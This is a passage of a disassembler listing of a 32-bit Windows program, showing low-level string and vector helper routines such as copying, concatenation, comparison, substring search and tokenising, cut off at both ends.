0 pop esi retn sub_409AA0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409AE0 proc near ; CODE XREF: sub_401424j mov eax, ecx xor ecx, ecx mov dword ptr [eax], offset off_43E010 mov [eax+9], ecx mov [eax+11h], ecx mov [eax+4], cl mov [eax+0Dh], ecx retn sub_409AE0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_409B10: ; CODE XREF: ___:00402063j ; ___:loc_402171j push esi mov esi, ecx call sub_401226 test byte ptr [esp+8], 1 jz short loc_409B28 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_409B28: ; CODE XREF: ___:00409B1Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409B40 proc near ; CODE XREF: sub_401861j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push ebx push esi mov esi, ecx xor ebx, ebx push eax mov dword ptr [esi], offset off_43E010 mov [esi+9], ebx mov [esi+11h], ebx call sub_4015D7 mov [esi+4], bl mov [esi+0Dh], ebx mov eax, esi pop esi pop ebx retn 4 sub_409B40 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409B80 proc near ; CODE XREF: sub_4014C9j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push ebx push esi mov esi, ecx xor ebx, ebx push eax mov dword ptr [esi], offset off_43E010 mov [esi+9], ebx mov [esi+11h], ebx call sub_401FBE mov [esi+4], bl mov [esi+0Dh], ebx mov eax, esi pop esi pop ebx retn 4 sub_409B80 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409BC0 proc near ; CODE XREF: sub_4020F4j var_10 = byte ptr -10h arg_0 = dword ptr 4 mov eax, [esp+arg_0] sub esp, 10h push ebx push esi mov esi, ecx push eax lea ecx, [esp+1Ch+var_10] push offset dword_4437F4 push ecx mov dword ptr [esi], offset off_43E010 call sub_5EE1E5 nop add esp, 0Ch lea edx, [esp+18h+var_10] xor ebx, ebx mov ecx, esi push edx mov [esi+9], ebx mov [esi+11h], ebx call sub_4015D7 mov [esi+4], bl mov [esi+0Dh], ebx mov eax, esi pop esi pop ebx add esp, 10h retn 4 sub_409BC0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409C30 proc near ; CODE XREF: sub_401226j push esi mov esi, ecx push edi xor edi, edi mov eax, [esi+9] mov dword ptr [esi], offset off_43E010 cmp eax, edi jz short loc_409C4C push eax call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_409C4C: ; CODE XREF: sub_409C30+11j mov eax, [esi+0Dh] mov [esi+9], edi cmp eax, edi jz short loc_409C5F push eax call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_409C5F: ; CODE XREF: sub_409C30+24j mov [esi+0Dh], edi mov [esi+11h], edi pop edi pop esi retn sub_409C30 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409C80 proc near ; CODE XREF: sub_4015D7j arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] mov esi, ecx test edi, edi jz short loc_409CEA or ecx, 0FFFFFFFFh xor eax, eax repne scasb mov eax, [esi+9] not ecx dec ecx test eax, eax mov ebp, ecx jz short loc_409CAA push eax call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_409CAA: ; CODE XREF: sub_409C80+1Fj lea ebx, [ebp+2] push ebx call sub_4367FA ; --------------------------------------------------------------------------- db 8Bh dd 4C483F8h, 7E89FF85h, 8B2B7409h, 8BC033CBh, 116E89D1h dd 0F302E9C1h, 83CA8BABh, 0AAF303E1h, 8B11468Bh, 8B14244Ch dd 51500956h, 0DDAAE852h, 83907783h db 0C4h, 0Ch ; --------------------------------------------------------------------------- loc_409CEA: ; CODE XREF: sub_409C80+Cj pop edi pop esi pop ebp pop ebx retn 4 sub_409C80 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409D20 proc near ; CODE XREF: sub_401FBEj arg_0 = dword ptr 4 push esi mov esi, ecx mov ecx, [esp+4+arg_0] call sub_401389 push eax mov ecx, esi call sub_4015D7 pop esi retn 4 sub_409D20 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_409D50: ; CODE XREF: ___:00401A46j mov eax, [esp+4] sub esp, 10h push esi mov esi, ecx push eax lea ecx, [esp+8] push offset dword_4437F4 push ecx nop call sub_5EE1E5 add esp, 0Ch lea edx, [esp+4] mov ecx, esi push edx call sub_4015D7 pop esi add esp, 10h retn 4 ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409DA0 proc near ; CODE XREF: sub_401A9Bj arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] mov ebx, ecx test edi, edi jz loc_409E32 or ecx, 0FFFFFFFFh xor eax, eax repne scasb mov edi, [ebx+11h] not ecx dec ecx mov esi, ecx add esi, edi lea eax, [esi+1] push eax call sub_4367FA ; --------------------------------------------------------------------------- mov edi, [ebx+9] add esp, 4 test edi, edi mov ebp, eax jz short loc_409E32 or ecx, 0FFFFFFFFh xor eax, eax mov [ebx+11h], esi repne scasb not ecx sub edi, ecx mov edx, ecx mov esi, edi mov edi, ebp shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov edi, [esp+10h+arg_0] or ecx, 0FFFFFFFFh repne scasb not ecx sub edi, ecx mov esi, edi mov edx, ecx mov edi, ebp or ecx, 0FFFFFFFFh repne scasb mov ecx, edx dec edi shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov eax, [ebx+9] test eax, eax jz short loc_409E2F push eax call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_409E2F: ; CODE XREF: sub_409DA0+84j mov [ebx+9], ebp loc_409E32: ; CODE XREF: sub_409DA0+Cj ; sub_409DA0+36j pop edi pop esi pop ebp pop ebx retn 4 sub_409DA0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409E70 proc near ; CODE XREF: sub_4016BDj arg_0 = dword ptr 4 push esi mov esi, ecx mov ecx, [esp+4+arg_0] call sub_401389 push eax mov ecx, esi call sub_401A9B pop esi retn 4 sub_409E70 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409EA0 proc near ; CODE XREF: sub_401140j var_10 = byte ptr -10h arg_0 = dword ptr 4 mov eax, [esp+arg_0] sub esp, 10h push esi mov esi, ecx push eax lea ecx, [esp+18h+var_10] push offset dword_4437F4 push ecx nop call sub_5EE1E5 add esp, 0Ch lea edx, [esp+14h+var_10] mov ecx, esi push edx call sub_401A9B pop esi add esp, 10h retn 4 sub_409EA0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409EF0 proc near ; CODE XREF: sub_4012EEj arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jnz short loc_409F07 mov edx, [ecx+9] xor eax, eax test edx, edx setnz al pop esi retn 4 ; --------------------------------------------------------------------------- loc_409F07: ; CODE XREF: sub_409EF0+7j mov eax, [ecx+9] push ebx loc_409F0B: ; CODE XREF: sub_409EF0+3Dj mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_409F36 test cl, cl jz short loc_409F2F mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_409F36 add eax, 2 add esi, 2 test cl, cl jnz short loc_409F0B loc_409F2F: ; CODE XREF: sub_409EF0+27j pop ebx xor eax, eax pop esi retn 4 ; --------------------------------------------------------------------------- loc_409F36: ; CODE XREF: sub_409EF0+23j ; sub_409EF0+33j sbb eax, eax pop ebx sbb eax, 0FFFFFFFFh pop esi retn 4 sub_409EF0 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409F60 proc near ; CODE XREF: sub_401B72j arg_0 = dword ptr 4 push esi mov esi, ecx mov ecx, [esp+4+arg_0] call sub_401389 push eax mov ecx, esi call sub_4012EE pop esi retn 4 sub_409F60 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409F90 proc near ; CODE XREF: sub_401500j arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jnz short loc_409FA3 mov edx, [ecx+9] test edx, edx setnz al retn 4 ; --------------------------------------------------------------------------- loc_409FA3: ; CODE XREF: sub_409F90+6j push eax mov eax, [ecx+9] push eax call near ptr 77C4624Eh nop add esp, 8 retn 4 sub_409F90 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409FD0 proc near ; CODE XREF: sub_4021ADj arg_0 = dword ptr 4 push esi mov esi, ecx mov ecx, [esp+4+arg_0] call sub_401389 push eax mov ecx, esi call sub_4012EE pop esi retn 4 sub_409FD0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A000 proc near ; CODE XREF: sub_401CBCj push esi mov esi, ecx mov eax, [esi+9] test eax, eax jz short loc_40A013 push eax call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_40A013: ; CODE XREF: sub_40A000+8j mov dword ptr [esi+9], 0 pop esi retn sub_40A000 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A030 proc near ; CODE XREF: sub_40102Dj arg_2000 = dword ptr 2004h arg_2004 = dword ptr 2008h arg_2008 = byte ptr 200Ch mov eax, 2000h call sub_436840 mov eax, [esp+arg_2004] test eax, eax jz short loc_40A072 lea ecx, [esp+arg_2008] lea edx, [esp+0] push ecx push eax push 2000h push edx nop call near ptr 77C3FF8Ah mov ecx, [esp+10h+arg_2000] add esp, 10h lea eax, [esp+0] push eax call sub_4015D7 loc_40A072: ; CODE XREF: sub_40A030+13j add esp, 2000h retn sub_40A030 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A0A0 proc near ; CODE XREF: sub_401D20j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401316 retn 4 sub_40A0A0 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A0C0 proc near ; CODE XREF: sub_401316j arg_0 = byte ptr 4 push ebx mov ebx, dword_50FAE0 push esi push edi movsx edi, [esp+0Ch+arg_0] mov esi, ecx push edi mov eax, [esi+9] push eax call ebx ; strchr add esp, 8 test eax, eax jnz short loc_40A0E4 pop edi pop esi pop ebx retn 8 ; --------------------------------------------------------------------------- loc_40A0E4: ; CODE XREF: sub_40A0C0+1Cj mov ecx, [esi+9] push edi push ecx call ebx ; strchr mov edi, [esi+9] add esp, 8 mov edx, 1 sub edx, edi pop edi pop esi add eax, edx pop ebx retn 8 sub_40A0C0 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A110 proc near ; CODE XREF: sub_4018A2j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401807 retn 4 sub_40A110 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A130 proc near ; CODE XREF: sub_401807j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi mov esi, ecx push eax mov ecx, [esp+8+arg_0] call sub_401389 push eax mov ecx, esi call sub_402117 pop esi retn 8 sub_40A130 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A160 proc near ; CODE XREF: sub_4013E3j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_402117 retn 4 sub_40A160 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A180 proc near ; CODE XREF: sub_402117j arg_0 = dword ptr 4 push ebx push esi push edi mov edi, [esp+0Ch+arg_0] test edi, edi mov esi, ecx jnz short loc_40A195 pop edi pop esi xor eax, eax pop ebx retn 8 ; --------------------------------------------------------------------------- loc_40A195: ; CODE XREF: sub_40A180+Bj mov eax, [esi+9] mov ebx, dword_50FAF8 push edi push eax call ebx ; strstr add esp, 8 test eax, eax jnz short loc_40A1AF pop edi pop esi pop ebx retn 8 ; --------------------------------------------------------------------------- loc_40A1AF: ; CODE XREF: sub_40A180+27j mov ecx, [esi+9] push edi push ecx call ebx ; strstr mov edi, [esi+9] add esp, 8 mov edx, 1 sub edx, edi pop edi pop esi add eax, edx pop ebx retn 8 sub_40A180 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A1F0 proc near ; CODE XREF: sub_401C5Dj arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx test edi, edi jnz short loc_40A203 pop edi xor eax, eax pop esi retn 4 ; --------------------------------------------------------------------------- loc_40A203: ; CODE XREF: sub_40A1F0+Aj mov eax, [esi+9] mov [esi+11h], edi test eax, eax jz short loc_40A216 push eax call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_40A216: ; CODE XREF: sub_40A1F0+1Bj push ebx lea ebx, [edi+1] push ebx call sub_4367FA sub_40A1F0 endp ; --------------------------------------------------------------------------- mov ecx, ebx mov edi, eax mov edx, ecx xor eax, eax shr ecx, 2 mov [esi+9], edi add esp, 4 rep stosd mov ecx, edx pop ebx and ecx, 3 rep stosb mov eax, [esi+9] pop edi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A270 proc near ; CODE XREF: sub_4013D9j mov eax, [ecx+11h] retn sub_40A270 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A290 proc near ; CODE XREF: sub_4012B2j var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_8 = dword ptr 0Ch push 0FFFFFFFFh push offset SEH_40A290 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 20h push ebp mov ebp, [esp+30h+arg_8] push esi xor esi, esi cmp ebp, 1 mov [esp+34h+var_2C], ecx mov [esp+34h+var_28], esi jge short loc_40A2E2 mov esi, [esp+34h+arg_0] push offset byte_446F70 mov ecx, esi call sub_401861 mov eax, esi pop esi pop ebp mov ecx, [esp+2Ch+var_C] mov large fs:0, ecx add esp, 2Ch retn 0Ch ; --------------------------------------------------------------------------- loc_40A2E2: ; CODE XREF: sub_40A290+2Bj push ebx push edi lea ecx, [esp+3Ch+var_24] call sub_401424 mov [esp+3Ch+var_4], esi lea esi, [ebp+1] push esi call sub_4367FA sub_40A290 endp ; --------------------------------------------------------------------------- mov ecx, esi mov ebx, eax mov edx, ecx xor eax, eax mov edi, ebx add esp, 4 shr ecx, 2 rep stosd mov ecx, edx mov edx, [esp+44h] and ecx, 3 push ebx rep stosb mov eax, [esp+14h] mov ecx, ebp mov edi, ebx mov esi, [eax+9] add esi, edx mov edx, ecx shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb lea ecx, [esp+1Ch] call sub_4015D7 push ebx call sub_4367E2 ; --------------------------------------------------------------------------- mov esi, [esp+44h] add esp, 4 lea eax, [esp+18h] mov ecx, esi push eax call sub_4014C9 lea ecx, [esp+18h] call sub_401226 mov ecx, [esp+30h] pop edi mov eax, esi pop ebx pop esi pop ebp mov large fs:0, ecx add esp, 2Ch retn 0Ch ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A3C0 proc near ; CODE XREF: sub_401E2Ej var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push esi push edi mov esi, ecx mov [esp+0Ch+var_4], 0 call sub_4013D9 mov ecx, [esp+0Ch+arg_4] mov edi, [esp+0Ch+arg_0] sub eax, ecx push eax push ecx push edi mov ecx, esi call sub_4012B2 mov eax, edi pop edi pop esi pop ecx retn 8 sub_40A3C0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40A400: ; CODE XREF: ___:0040193Dj push ecx push esi mov esi, [esp+0Ch] push 1 mov ecx, esi mov dword ptr [esp+8], 0 call sub_4020F4 mov eax, esi pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A430 proc near ; CODE XREF: sub_4011EAj var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0FFFFFFFFh push offset SEH_40A430 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi mov edi, [esp+44h+arg_8] mov esi, ecx test edi, edi mov [esp+44h+var_38], 0 jnz short loc_40A471 mov esi, [esp+44h+arg_0] push offset byte_446F70 mov ecx, esi call sub_401861 jmp loc_40A5A4 ; --------------------------------------------------------------------------- loc_40A471: ; CODE XREF: sub_40A430+2Aj lea eax, [esp+44h+arg_8] lea ecx, [esp+44h+var_34] push eax call sub_401690 mov ecx, [esi+9] mov [esp+44h+var_4], 1 push ecx lea ecx, [esp+48h+var_24] call sub_401861 lea ecx, [esp+44h+var_24] mov byte ptr [esp+44h+var_4], 2 call sub_4014D3 mov [esp+44h+var_3C], eax mov cl, [eax] test cl, cl jz loc_40A555 push ebx loc_40A4B1: ; CODE XREF: sub_40A430+11Ej mov dl, [edi] cmp cl, dl jnz short loc_40A4C0 loc_40A4B7: ; CODE XREF: sub_40A430+8Ej inc eax mov [esp+48h+var_3C], eax cmp [eax], dl jz short loc_40A4B7 loc_40A4C0: ; CODE XREF: sub_40A430+85j cmp byte ptr [eax], 22h setz bl test bl, bl jz short loc_40A4CF inc eax mov [esp+48h+var_3C], eax loc_40A4CF: ; CODE XREF: sub_40A430+98j lea edx, [esp+48h+var_3C] lea ecx, [esp+48h+var_34] push edx call sub_401988 mov eax, [esp+48h+var_3C] test bl, bl mov cl, [eax] jz short loc_40A51F test cl, cl jz short loc_40A507 loc_40A4EB: ; CODE XREF: sub_40A430+D5j cmp cl, 22h jnz short loc_40A4FC mov cl, [eax+1] cmp cl, 20h jz short loc_40A507 test cl, cl jz short loc_40A507 loc_40A4FC: ; CODE XREF: sub_40A430+BEj inc eax mov [esp+48h+var_3C], eax mov cl, [eax] test cl, cl jnz short loc_40A4EB loc_40A507: ; CODE XREF: sub_40A430+B9j ; sub_40A430+C6j ... cmp byte ptr [eax], 0 jz short loc_40A54A mov byte ptr [eax], 0 mov eax, [esp+48h+var_3C] mov cl, [eax+1] test cl, cl jz short loc_40A54A add eax, 2 jmp short loc_40A546 ; --------------------------------------------------------------------------- loc_40A51F: ; CODE XREF: sub_40A430+B5j test cl, cl jz short loc_40A534 mov dl, [edi] loc_40A525: ; CODE XREF: sub_40A430+102j cmp cl, dl jz short loc_40A534 inc eax mov [esp+48h+var_3C], eax mov cl, [eax] test cl, cl jnz short loc_40A525 loc_40A534: ; CODE XREF: sub_40A430+F1j ; sub_40A430+F7j mov cl, [eax] test cl, cl jz short loc_40A54A cmp cl, [edi] jnz short loc_40A54A mov byte ptr [eax], 0 mov eax, [esp+48h+var_3C] inc eax loc_40A546: ; CODE XREF: sub_40A430+EDj mov [esp+48h+var_3C], eax loc_40A54A: ; CODE XREF: sub_40A430+DAj ; sub_40A430+E8j ... mov cl, [eax] test cl, cl jnz loc_40A4B1 pop ebx loc_40A555: ; CODE XREF: sub_40A430+7Aj lea ecx, [esp+44h+var_34] call sub_4011F9 mov ecx, [esp+44h+arg_4] cmp ecx, eax jb short loc_40A56D push offset byte_446F70 jmp short loc_40A57A ; --------------------------------------------------------------------------- loc_40A56D: ; CODE XREF: sub_40A430+134j push ecx lea ecx, [esp+48h+var_34] call sub_401F64 mov eax, [eax] push eax loc_40A57A: ; CODE XREF: sub_40A430+13Bj mov esi, [esp+48h+arg_0] mov ecx, esi call sub_401861 lea ecx, [esp+44h+var_24] mov [esp+44h+var_38], 1 call sub_401226 lea ecx, [esp+44h+var_34] mov byte ptr [esp+44h+var_4], 0 call sub_40158C ; --------------------------------------------------------------------------- loc_40A5A4: ; CODE XREF: sub_40A430+3Cj mov ecx, [esp+44h+var_C] mov eax, esi pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn 10h sub_40A430 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A630 proc near ; CODE XREF: sub_4016AEj var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ecx mov eax, [esp+4+arg_8] mov edx, [esp+4+arg_4] push esi mov esi, [esp+8+arg_0] push 0 push eax push edx push esi mov [esp+18h+var_4], 0 call sub_4011EA mov eax, esi pop esi pop ecx retn 0Ch sub_40A630 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A670 proc near ; CODE XREF: sub_40200Ej arg_0 = dword ptr 4 push esi mov esi, ecx mov ecx, [esp+4+arg_0] call sub_401389 push eax mov ecx, esi call sub_4015D7 pop esi retn 4 sub_40A670 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A6A0 proc near ; CODE XREF: sub_401A87j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_4015D7 retn 4 sub_40A6A0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A6C0 proc near ; CODE XREF: sub_40146Fj arg_0 = dword ptr 4 mov eax, [ecx+9] mov ecx, [esp+arg_0] add eax, ecx retn 4 sub_40A6C0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40A6E0: ; CODE XREF: ___:0040149Cj mov eax, [ecx+9] mov ecx, [esp+4] add eax, ecx retn 4 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A700 proc near ; CODE XREF: sub_401389j mov eax, [ecx+9] retn sub_40A700 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A720 proc near ; CODE XREF: sub_4017E4j mov eax, [ecx+9] retn sub_40A720 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A740 proc near ; CODE XREF: sub_4014D3j mov eax, [ecx+9] retn sub_40A740 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A760 proc near ; CODE XREF: sub_401690j arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov dl, [ecx] xor ecx, ecx mov [eax], dl mov [eax+4], ecx mov [eax+8], ecx mov [eax+0Ch], ecx retn 4 sub_40A760 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40A790 proc near ; CODE XREF: sub_40158Cj push esi mov esi, ecx mov eax, [esi+8] mov ecx, [esi+4] push eax push ecx mov ecx, esi call sub_4019A6 mov eax, [esi+4] mov edx, [esi+0Ch] sub edx, eax mov ecx, esi sar edx, 2 push edx push eax call sub_4011EF sub_40A790 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax pop esi retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A7E0 proc near ; CODE XREF: sub_4011F9j mov edx, [ecx+4] test edx, edx jnz short loc_40A7EA xor eax, eax retn ; --------------------------------------------------------------------------- loc_40A7EA: ; CODE XREF: sub_40A7E0+5j mov eax, [ecx+8] sub eax, edx sar eax, 2 retn sub_40A7E0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A810 proc near ; CODE XREF: sub_401F64j arg_0 = dword ptr 4 push esi push edi mov esi, ecx call sub_4011F9 mov edi, [esp+8+arg_0] cmp eax, edi ja short loc_40A828 mov ecx, esi call sub_401EE7 loc_40A828: ; CODE XREF: sub_40A810+Fj mov ecx, esi call sub_401D1B lea eax, [eax+edi*4] pop edi pop esi retn 4 sub_40A810 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A850 proc near ; CODE XREF: sub_401988j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_40164F push eax mov ecx, esi call sub_4016EF pop esi retn 4 sub_40A850 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A880 proc near ; CODE XREF: sub_401D1Bj mov eax, [ecx+4] retn sub_40A880 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A8A0 proc near ; CODE XREF: sub_40164Fj mov eax, [ecx+8] retn sub_40A8A0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A8C0 proc near ; CODE XREF: sub_4016EFj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, ecx call sub_401D1B mov edx, [esp+8+arg_4] mov ecx, eax mov eax, [esp+8+arg_0] push edx mov esi, eax push 1 sub esi, ecx push eax mov ecx, edi sar esi, 2 call sub_4013CF mov ecx, edi call sub_401D1B lea eax, [eax+esi*4] pop edi pop esi retn 8 sub_40A8C0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A910 proc near ; CODE XREF: sub_4019A6j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push esi mov esi, [esp+8+arg_0] push edi cmp esi, ebx mov edi, ecx jz short loc_40A930 loc_40A921: ; CODE XREF: sub_40A910+1Ej push esi mov ecx, edi call sub_4018B1 add esi, 4 cmp esi, ebx jnz short loc_40A921 loc_40A930: ; CODE XREF: sub_40A910+Fj pop edi pop esi pop ebx retn 8 sub_40A910 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40A950: ; CODE XREF: sub_401EE7j push 0FFFFFFFFh push offset loc_438AB9 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h lea eax, [esp+3] lea ecx, [esp+4] push eax push offset aInvalidVectorT ; "invalid vector<T> subscript" nop call near ptr 76081F67h lea ecx, [esp+4] mov dword ptr [esp+38h], 0 push ecx lea ecx, [esp+18h] nop call near ptr 760A0430h lea edx, [esp+14h] push offset dword_43F080 push edx call sub_436832 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40A9D0 proc near ; CODE XREF: sub_4011EFj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_4367E2 sub_40A9D0 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A9F0 proc near ; CODE XREF: sub_4013CFj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp push esi mov esi, ecx push edi mov edi, [esp+10h+arg_4] mov eax, [esi+8] mov ecx, [esi+0Ch] sub ecx, eax sar ecx, 2 cmp ecx, edi jnb loc_40AABB mov ecx, esi call sub_4011F9 cmp edi, eax jnb short loc_40AA23 mov ecx, esi call sub_4011F9 mov ebp, eax jmp short loc_40AA25 ; --------------------------------------------------------------------------- loc_40AA23: ; CODE XREF: sub_40A9F0+26j mov ebp, edi loc_40AA25: ; CODE XREF: sub_40A9F0+31j mov ecx, esi call sub_4011F9 mov ebx, eax push 0 add ebx, ebp mov ecx, esi push ebx call sub_401DCF ; --------------------------------------------------------------------------- mov edx, [esp+10h+arg_0] mov ebp, eax mov eax, [esi+4] push ebp push edx push eax mov ecx, esi call sub_4010CD mov ecx, 